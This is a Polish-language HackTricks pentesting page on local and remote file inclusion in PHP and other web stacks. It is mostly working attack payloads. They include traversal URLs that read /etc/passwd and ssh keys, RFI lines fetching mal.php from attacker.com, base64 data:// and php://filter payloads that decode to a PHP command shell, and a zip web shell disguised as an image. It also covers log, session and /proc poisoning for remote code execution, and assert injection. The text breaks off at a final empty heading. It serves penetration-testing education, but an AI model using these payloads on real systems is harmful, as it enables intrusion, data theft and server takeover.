hacktricks/pentesting-web/file-inclusion
2024-11-19 12:40:00 +00:00
..
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:30 +00:00
lfi2rce-via-eternal-waiting.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
lfi2rce-via-nginx-temp-files.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:37:30 +00:00
lfi2rce-via-php-filters.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
lfi2rce-via-phpinfo.md Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:58:36 +00:00
lfi2rce-via-segmentation-fault.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:28:58 +00:00
lfi2rce-via-temp-file-uploads.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:19:44 +00:00
phar-deserialization.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:25:04 +00:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2024-11-19 12:40:00 +00:00
via-php_session_upload_progress.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:28:58 +00:00

File Inclusion/Path traversal

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}

Dołącz do HackenProof Discord serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w Hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności Hackingowe w Czasie Rzeczywistym
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

File Inclusion

Remote File Inclusion (RFI): Plik jest ładowany z zdalnego serwera (Najlepiej: Możesz napisać kod, a serwer go wykona). W php jest to wyłączone domyślnie (allow_url_include).
Local File Inclusion (LFI): Serwer ładuje lokalny plik.

Luka występuje, gdy użytkownik może w jakiś sposób kontrolować plik, który ma być załadowany przez serwer.

Vulnerable funkcje PHP: require, require_once, include, include_once

Interesujące narzędzie do wykorzystania tej luki: https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

Mieszając kilka list LFI dla *nix i dodając więcej ścieżek, stworzyłem tę:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %}

Spróbuj również zmienić / na \
Spróbuj również dodać ../../../../../

Lista, która wykorzystuje kilka technik do znalezienia pliku /etc/password (aby sprawdzić, czy luka istnieje), znajduje się tutaj

Windows

Połączenie różnych list słów:

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %}

Spróbuj również zmienić / na \
Spróbuj również usunąć C:/ i dodać ../../../../../

Lista, która wykorzystuje kilka technik do znalezienia pliku /boot.ini (aby sprawdzić, czy luka istnieje), znajduje się tutaj

OS X

Sprawdź listę LFI dla linux.

Podstawowe LFI i obejścia

Wszystkie przykłady dotyczą Local File Inclusion, ale mogą być również zastosowane do Remote File Inclusion (strona=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

sekwencje przejścia usunięte nienawrotowo

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Ominięcie dodawania więcej znaków na końcu podanego ciągu (ominięcie: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

To jest rozwiązane od PHP 5.4

Kodowanie

Możesz używać niestandardowych kodowań, takich jak podwójne kodowanie URL (i inne):

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Z istniejącego folderu

Może backend sprawdza ścieżkę folderu:

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Badanie katalogów systemu plików na serwerze

System plików serwera można badać rekurencyjnie, aby zidentyfikować katalogi, a nie tylko pliki, stosując określone techniki. Proces ten polega na ustaleniu głębokości katalogu i sprawdzeniu istnienia konkretnych folderów. Poniżej znajduje się szczegółowa metoda, aby to osiągnąć:

  1. Ustal głębokość katalogu: Ustal głębokość swojego bieżącego katalogu, skutecznie pobierając plik /etc/passwd (dotyczy to serwerów opartych na Linuksie). Przykładowy adres URL może być skonstruowany w następujący sposób, wskazując na głębokość równą trzem:
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Probe for Folders: Dołącz nazwę podejrzanego folderu (np. private) do URL, a następnie wróć do /etc/passwd. Dodatkowy poziom katalogu wymaga zwiększenia głębokości o jeden:
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpretacja wyników: Odpowiedź serwera wskazuje, czy folder istnieje:
  • Błąd / Brak wyjścia: Folder private prawdopodobnie nie istnieje w określonej lokalizacji.
  • Zawartość /etc/passwd: Obecność folderu private jest potwierdzona.
  1. Rekurencyjna eksploracja: Odkryte foldery można dalej badać pod kątem podkatalogów lub plików, używając tej samej techniki lub tradycyjnych metod Local File Inclusion (LFI).

Aby badać katalogi w różnych lokalizacjach w systemie plików, dostosuj ładunek odpowiednio. Na przykład, aby sprawdzić, czy /var/www/ zawiera katalog private (zakładając, że bieżący katalog znajduje się na głębokości 3), użyj:

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Technika Truncacji Ścieżki

Truncacja ścieżki to metoda stosowana do manipulacji ścieżkami plików w aplikacjach internetowych. Często jest używana do uzyskiwania dostępu do zastrzeżonych plików poprzez obejście pewnych środków bezpieczeństwa, które dodają dodatkowe znaki na końcu ścieżek plików. Celem jest skonstruowanie ścieżki pliku, która, po zmianie przez środek bezpieczeństwa, nadal wskazuje na pożądany plik.

W PHP różne reprezentacje ścieżki pliku mogą być uważane za równoważne z powodu natury systemu plików. Na przykład:

  • /etc/passwd, /etc//passwd, /etc/./passwd i /etc/passwd/ są traktowane jako ta sama ścieżka.
  • Gdy ostatnie 6 znaków to passwd, dodanie / (tworząc passwd/) nie zmienia docelowego pliku.
  • Podobnie, jeśli .php jest dodane do ścieżki pliku (jak shellcode.php), dodanie /. na końcu nie zmieni pliku, do którego uzyskuje się dostęp.

Podane przykłady pokazują, jak wykorzystać truncację ścieżki do uzyskania dostępu do /etc/passwd, powszechnego celu ze względu na jego wrażliwą zawartość (informacje o kontach użytkowników):

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

W tych scenariuszach liczba wymaganych przejść może wynosić około 2027, ale ta liczba może się różnić w zależności od konfiguracji serwera.

  • Używanie segmentów kropek i dodatkowych znaków: Sekwencje przejść (../) połączone z dodatkowymi segmentami kropek i znakami mogą być używane do nawigacji po systemie plików, skutecznie ignorując dołączone ciągi przez serwer.
  • Określenie wymaganej liczby przejść: Poprzez próbę i błąd można znaleźć dokładną liczbę sekwencji ../, które są potrzebne do nawigacji do katalogu głównego, a następnie do /etc/passwd, zapewniając, że wszelkie dołączone ciągi (jak .php) są neutralizowane, ale pożądana ścieżka (/etc/passwd) pozostaje nienaruszona.
  • Zaczynanie od fałszywego katalogu: Powszechną praktyką jest rozpoczęcie ścieżki od nieistniejącego katalogu (jak a/). Technika ta jest stosowana jako środek ostrożności lub w celu spełnienia wymagań logiki analizy ścieżek serwera.

Podczas stosowania technik skracania ścieżek kluczowe jest zrozumienie zachowania analizy ścieżek serwera i struktury systemu plików. Każdy scenariusz może wymagać innego podejścia, a testowanie jest często konieczne, aby znaleźć najskuteczniejszą metodę.

Ta podatność została naprawiona w PHP 5.3.

Sztuczki omijania filtrów

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

W php jest to domyślnie wyłączone, ponieważ allow_url_include jest Wyłączone. Musi być Włączone, aby to działało, a w takim przypadku możesz dołączyć plik PHP z swojego serwera i uzyskać RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Jeśli z jakiegoś powodu allow_url_include jest włączone, ale PHP filtruje dostęp do zewnętrznych stron internetowych, zgodnie z tym postem, możesz na przykład użyć protokołu danych z base64, aby zdekodować kod PHP w b64 i uzyskać RCE:

{% code overflow="wrap" %}

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

{% endcode %}

{% hint style="info" %} W poprzednim kodzie końcowe +.txt zostało dodane, ponieważ atakujący potrzebował ciągu, który kończyłby się na .txt, więc ciąg kończy się na tym, a po dekodowaniu b64 ta część zwróci tylko śmieci, a prawdziwy kod PHP zostanie dołączony (a tym samym, wykonany). {% endhint %}

Inny przykład nie używający protokołu php:// to:

{% code overflow="wrap" %}

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

{% endcode %}

Element główny Pythona

W Pythonie w kodzie takim jak ten:

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Jeśli użytkownik przekaże absolutną ścieżkę do file_name, poprzednia ścieżka jest po prostu usuwana:

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

To jest zamierzona funkcjonalność zgodnie z dokumentacją:

Jeśli komponent jest ścieżką bezwzględną, wszystkie poprzednie komponenty są ignorowane, a łączenie kontynuuje od komponentu ścieżki bezwzględnej.

Java Lista Katalogów

Wygląda na to, że jeśli masz Path Traversal w Javie i prosisz o katalog zamiast pliku, zwracana jest lista katalogu. To nie zdarzy się w innych językach (o ile mi wiadomo).

Top 25 parametrów

Oto lista 25 najważniejszych parametrów, które mogą być podatne na lokalne włączenie pliku (LFI) (z linku):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI przy użyciu wrapperów i protokołów PHP

php://filter

Filtry PHP pozwalają na podstawowe operacje modyfikacji danych przed ich odczytem lub zapisaniem. Istnieje 5 kategorii filtrów:

  • Filtry ciągów:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Usuwa tagi z danych (wszystko pomiędzy znakami "<" i ">")
  • Zauważ, że ten filtr zniknął z nowoczesnych wersji PHP
  • Filtry konwersji
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Przekształca do innego kodowania (convert.iconv.<input_enc>.<output_enc>). Aby uzyskać listę wszystkich obsługiwanych kodowań, uruchom w konsoli: iconv -l

{% hint style="warning" %} Nadużywając filtru konwersji convert.iconv.*, możesz generować dowolny tekst, co może być przydatne do pisania dowolnego tekstu lub do stworzenia funkcji, która włącza proces dowolnego tekstu. Po więcej informacji sprawdź LFI2RCE za pomocą filtrów php. {% endhint %}

  • Filtry kompresji
  • zlib.deflate: Kompresuje zawartość (przydatne, jeśli eksfiltrujesz dużo informacji)
  • zlib.inflate: Dekompresuje dane
  • Filtry szyfrowania
  • mcrypt.* : Przestarzałe
  • mdecrypt.* : Przestarzałe
  • Inne filtry
  • Uruchamiając w php var_dump(stream_get_filters());, możesz znaleźć kilka nieoczekiwanych filtrów:
  • consumed
  • dechunk: odwraca kodowanie HTTP chunked
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

{% hint style="warning" %} Część "php://filter" jest nieczuła na wielkość liter {% endhint %}

Używanie filtrów php jako orakula do odczytu dowolnych plików

W tym poście zaproponowano technikę odczytu lokalnego pliku bez zwracania wyniku z serwera. Technika ta opiera się na boole'owskiej eksfiltracji pliku (znak po znaku) przy użyciu filtrów php jako orakula. Dzieje się tak, ponieważ filtry php mogą być używane do powiększenia tekstu na tyle, aby php zgłosił wyjątek.

W oryginalnym poście można znaleźć szczegółowe wyjaśnienie techniki, ale oto szybkie podsumowanie:

  • Użyj kodeka UCS-4LE, aby pozostawić wiodący znak tekstu na początku i sprawić, że rozmiar ciągu wzrośnie wykładniczo.
  • To będzie użyte do wygenerowania tekstu tak dużego, gdy początkowa litera jest odgadnięta poprawnie, że php wywoła błąd.
  • Filtr dechunk usunie wszystko, jeśli pierwszy znak nie jest szesnastkowy, więc możemy wiedzieć, czy pierwszy znak jest szesnastkowy.
  • To, w połączeniu z poprzednim (i innymi filtrami w zależności od odgadniętej litery), pozwoli nam odgadnąć literę na początku tekstu, widząc, kiedy wykonujemy wystarczająco dużo transformacji, aby nie była znakiem szesnastkowym. Ponieważ jeśli jest szesnastkowy, dechunk go nie usunie, a początkowa bomba spowoduje błąd php.
  • Kodek convert.iconv.UNICODE.CP930 przekształca każdą literę w następną (więc po tym kodeku: a -> b). To pozwala nam odkryć, czy pierwsza litera to a, na przykład, ponieważ jeśli zastosujemy 6 z tego kodeka a->b->c->d->e->f->g, litera nie jest już znakiem szesnastkowym, dlatego dechunk jej nie usunął, a błąd php jest wywoływany, ponieważ mnoży się z początkową bombą.
  • Używając innych transformacji, takich jak rot13 na początku, możliwe jest wycieknięcie innych znaków, takich jak n, o, p, q, r (i inne kodeki mogą być używane do przesuwania innych liter do zakresu szesnastkowego).
  • Gdy początkowy znak jest liczbą, należy go zakodować w base64 i wyciekować 2 pierwsze litery, aby wyciekła liczba.
  • Ostatecznym problemem jest zobaczenie jak wyciekować więcej niż początkowa litera. Używając filtrów pamięci w kolejności, takich jak convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE, możliwe jest zmienienie kolejności znaków i uzyskanie na pierwszej pozycji innych liter tekstu.
  • A aby móc uzyskać dalsze dane, pomysł polega na wygenerowaniu 2 bajtów danych śmieciowych na początku przy użyciu convert.iconv.UTF16.UTF16, zastosowaniu UCS-4LE, aby pivotować z następnymi 2 bajtami, i usunąć dane aż do danych śmieciowych (to usunie pierwsze 2 bajty początkowego tekstu). Kontynuuj to, aż osiągniesz pożądany bit do wycieku.

W poście wycieknięto również narzędzie do automatyzacji tego procesu: php_filters_chain_oracle_exploit.

php://fd

Ten wrapper pozwala na dostęp do deskryptorów plików, które proces ma otwarte. Potencjalnie przydatne do eksfiltracji zawartości otwartych plików:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Możesz również użyć php://stdin, php://stdout i php://stderr do uzyskania dostępu do deskryptorów plików 0, 1 i 2 odpowiednio (nie jestem pewien, jak to może być przydatne w ataku)

zip:// i rar://

Prześlij plik Zip lub Rar z PHPShell wewnątrz i uzyskaj do niego dostęp.
Aby móc wykorzystać protokół rar, musi być on specjalnie aktywowany.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Zauważ, że ten protokół jest ograniczony przez konfiguracje php allow_url_open i allow_url_include

expect://

Expect musi być aktywowany. Możesz wykonać kod używając tego:

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Określ swój ładunek w parametrach POST:

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Plik .phar może być wykorzystany do wykonywania kodu PHP, gdy aplikacja webowa korzysta z funkcji takich jak include do ładowania plików. Poniższy fragment kodu PHP ilustruje tworzenie pliku .phar:

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Aby skompilować plik .phar, należy wykonać następujące polecenie:

php --define phar.readonly=0 create_path.php

Po wykonaniu zostanie utworzony plik o nazwie test.phar, który może być potencjalnie wykorzystany do eksploatacji luk w Local File Inclusion (LFI).

W przypadkach, gdy LFI tylko odczytuje pliki bez wykonywania kodu PHP w ich wnętrzu, za pomocą funkcji takich jak file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), lub filesize(), można spróbować wykorzystać lukę w deserializacji. Luka ta jest związana z odczytem plików przy użyciu protokołu phar.

Aby uzyskać szczegółowe zrozumienie eksploatacji luk w deserializacji w kontekście plików .phar, zapoznaj się z dokumentem podanym poniżej:

Phar Deserialization Exploitation Guide

{% content-ref url="phar-deserialization.md" %} phar-deserialization.md {% endcontent-ref %}

CVE-2024-2961

Można było nadużyć dowolnego pliku odczytywanego z PHP, który obsługuje filtry php, aby uzyskać RCE. Szczegółowy opis można znaleźć w tym poście.
Bardzo szybkie podsumowanie: nadużyto przepełnienia o 3 bajty w stercie PHP, aby zmienić łańcuch wolnych kawałków o określonym rozmiarze, aby móc zapisać cokolwiek w dowolnym adresie, więc dodano hak do wywołania system.
Można było alokować kawałki o określonych rozmiarach, nadużywając więcej filtrów php.

Więcej protokołów

Sprawdź więcej możliwych protokołów do uwzględnienia tutaj:

  • php://memory i php://temp — Zapis w pamięci lub w pliku tymczasowym (nie jestem pewien, jak to może być przydatne w ataku na włączenie pliku)
  • file:// — Dostęp do lokalnego systemu plików
  • http:// — Dostęp do adresów URL HTTP(s)
  • ftp:// — Dostęp do adresów URL FTP(s)
  • zlib:// — Strumienie kompresji
  • glob:// — Znajdź nazwy ścieżek pasujące do wzorca (nie zwraca nic drukowalnego, więc nie jest tu zbyt przydatne)
  • ssh2:// — Secure Shell 2
  • ogg:// — Strumienie audio (nieprzydatne do odczytu dowolnych plików)

LFI za pomocą 'assert' PHP

Ryzyko Local File Inclusion (LFI) w PHP jest szczególnie wysokie w przypadku funkcji 'assert', która może wykonywać kod w ramach ciągów. Jest to szczególnie problematyczne, jeśli dane wejściowe zawierają znaki przechodzenia przez katalogi, takie jak "..", które są sprawdzane, ale nie są odpowiednio oczyszczane.

Na przykład, kod PHP może być zaprojektowany w celu zapobiegania przechodzeniu przez katalogi w ten sposób:

assert("strpos('$file', '..') === false") or die("");

Chociaż to ma na celu zatrzymanie przechodzenia, niezamierzenie tworzy wektor dla wstrzykiwania kodu. Aby wykorzystać to do odczytu zawartości pliku, atakujący mógłby użyć:

' and die(highlight_file('/etc/passwd')) or '

Podobnie, do wykonywania dowolnych poleceń systemowych, można użyć:

' and die(system("id")) or '

To ważne, aby zakodować te ładunki URL.

Dołącz do HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami błędów!

Wgląd w Hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem

Aktualności Hackingowe w Czasie Rzeczywistym
Bądź na bieżąco z dynamicznie zmieniającym się światem hackingu dzięki aktualnym wiadomościom i wglądom

Najnowsze Ogłoszenia
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

PHP Blind Path Traversal

{% hint style="warning" %} Ta technika jest istotna w przypadkach, gdy kontrolujesz ścieżkę pliku funkcji PHP, która uzyskuje dostęp do pliku, ale nie zobaczysz zawartości pliku (jak proste wywołanie file()), ale zawartość nie jest wyświetlana. {% endhint %}

W tym niesamowitym poście wyjaśniono, jak można nadużyć ślepą traversję ścieżki za pomocą filtra PHP, aby wyekstrahować zawartość pliku za pomocą błędnego oracle.

Podsumowując, technika polega na użyciu kodowania "UCS-4LE", aby zawartość pliku była tak duża, że funkcja PHP otwierająca plik spowoduje błąd.

Następnie, aby wyciekł pierwszy znak, używany jest filtr dechunk wraz z innymi, takimi jak base64 lub rot13, a na końcu używane są filtry convert.iconv.UCS-4.UCS-4LE i convert.iconv.UTF16.UTF-16BE, aby umieścić inne znaki na początku i je wyciekować.

Funkcje, które mogą być podatne: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (tylko cel odczytu z tym), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Szczegóły techniczne znajdziesz w wspomnianym poście!

LFI2RCE

Zdalne Włączenie Pliku

Wyjaśnione wcześniej, śledź ten link.

Poprzez plik dziennika Apache/Nginx

Jeśli serwer Apache lub Nginx jest podatny na LFI, wewnątrz funkcji include możesz spróbować uzyskać dostęp do /var/log/apache2/access.log lub /var/log/nginx/access.log, ustawiając w user agent lub w parametrze GET powłokę PHP, taką jak <?php system($_GET['c']); ?> i dołączyć ten plik

{% hint style="warning" %} Zauważ, że jeśli użyjesz podwójnych cudzysłowów dla powłoki zamiast pojedynczych cudzysłowów, podwójne cudzysłowy zostaną zmodyfikowane na ciąg "quote;", PHP zgłosi błąd w tym miejscu i nic więcej nie zostanie wykonane.

Upewnij się również, że poprawnie zapisujesz ładunek, w przeciwnym razie PHP zgłosi błąd za każdym razem, gdy spróbuje załadować plik dziennika i nie będziesz miał drugiej szansy. {% endhint %}

Można to również zrobić w innych dziennikach, ale bądź ostrożny, kod wewnątrz dzienników może być zakodowany URL i to może zniszczyć powłokę. Nagłówek autoryzacji "basic" zawiera "user:password" w Base64 i jest dekodowany wewnątrz dzienników. PHPShell może być wstawiony w tym nagłówku.
Inne możliwe ścieżki dzienników:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Wyślij maila na wewnętrzne konto (user@localhost) zawierającego twój ładunek PHP, taki jak <?php echo system($_REQUEST["cmd"]); ?> i spróbuj dołączyć do maila użytkownika z ścieżką taką jak /var/mail/<USERNAME> lub /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Prześlij dużo powłok (na przykład: 100)
  2. Dołącz http://example.com/index.php?page=/proc/$PID/fd/$FD, gdzie $PID = PID procesu (można wymusić brute force) i $FD to deskryptor pliku (można również wymusić brute force)

Via /proc/self/environ

Jak w pliku dziennika, wyślij ładunek w User-Agent, zostanie on odzwierciedlony w pliku /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf

Poprzez przesyłanie pliku Zip

Prześlij plik ZIP zawierający skompresowaną powłokę PHP i uzyskaj dostęp:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Sprawdź, czy strona używa sesji PHP (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

W PHP te sesje są przechowywane w plikach /var/lib/php5/sess\[PHPSESSID]_

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Ustaw cookie na <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Użyj LFI, aby dołączyć plik sesji PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Jeśli ssh jest aktywne, sprawdź, który użytkownik jest używany (/proc/self/status & /etc/passwd) i spróbuj uzyskać dostęp do <HOME>/.ssh/id_rsa

Via vsftpd logs

Logi dla serwera FTP vsftpd znajdują się w /var/log/vsftpd.log. W scenariuszu, w którym istnieje luka Local File Inclusion (LFI) i możliwy jest dostęp do wystawionego serwera vsftpd, można rozważyć następujące kroki:

  1. Wstrzyknij ładunek PHP w pole nazwy użytkownika podczas procesu logowania.
  2. Po wstrzyknięciu, wykorzystaj LFI, aby pobrać logi serwera z /var/log/vsftpd.log.

Via php base64 filter (using base64)

Jak pokazano w tym artykule, filtr PHP base64 po prostu ignoruje Non-base64. Możesz to wykorzystać, aby obejść sprawdzanie rozszerzenia pliku: jeśli dostarczysz base64, które kończy się na ".php", po prostu zignoruje "." i doda "php" do base64. Oto przykład ładunku:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Ten artykuł wyjaśnia, że możesz użyć filtrów php do generowania dowolnej zawartości jako wyjścia. Co zasadniczo oznacza, że możesz generować dowolny kod php do włączenia bez potrzeby zapisywania go w pliku.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentation fault

Prześlij plik, który zostanie zapisany jako tymczasowy w /tmp, a następnie w tej samej prośbie wywołaj błąd segmentacji, a następnie tymczasowy plik nie zostanie usunięty i możesz go wyszukać.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via Nginx temp file storage

Jeśli znalazłeś Local File Inclusion i Nginx działa przed PHP, możesz być w stanie uzyskać RCE za pomocą następującej techniki:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

Jeśli znalazłeś Local File Inclusion, nawet jeśli nie masz sesji i session.auto_start jest Wyłączone. Jeśli dostarczysz PHP_SESSION_UPLOAD_PROGRESS w danych POST multipart, PHP włączy sesję dla Ciebie. Możesz to wykorzystać do uzyskania RCE:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via temp file uploads in Windows

Jeśli znalazłeś Local File Inclusion i serwer działa w Windows, możesz uzyskać RCE:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via pearcmd.php + URL args

